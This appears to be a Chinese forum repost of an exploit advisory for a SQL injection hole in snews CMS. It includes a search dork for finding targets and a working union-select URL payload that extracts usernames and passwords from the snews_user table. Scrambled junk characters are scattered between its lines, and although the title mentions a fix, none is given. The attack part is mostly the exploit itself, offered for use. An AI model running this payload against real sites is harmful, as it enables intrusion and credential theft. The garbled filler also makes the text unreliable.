CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
% g5 v- X8 ~4 J9 i1 m作者: By onestree
下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"
- H' U- b$ f6 F' `3 c
# p& F. y; D% K# \! f0 J
  @& W2 J5 u2 e! S4 I*************************************************************
) y  m3 z% K/ c: p
SQL poc:
3 m+ F' A) \# H5 u' h% N
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
: o7 U0 L- b9 I. e& Q
示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


3 k& V) ]! f) r  E9 q" x$ _! _% Z. Z/ W致谢:

; ~4 V) n- H$ x2 T1 ~. K2 [  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
: f& B) t+ {) E- e6 a     
! @% l' l& {. J          indonesiancoder - moeslimh4x0r - go-coder
2 T/ L8 B9 Q2 l6 r5 C
spesial my hunny :*
; g. W: ~; G& B4 A6 N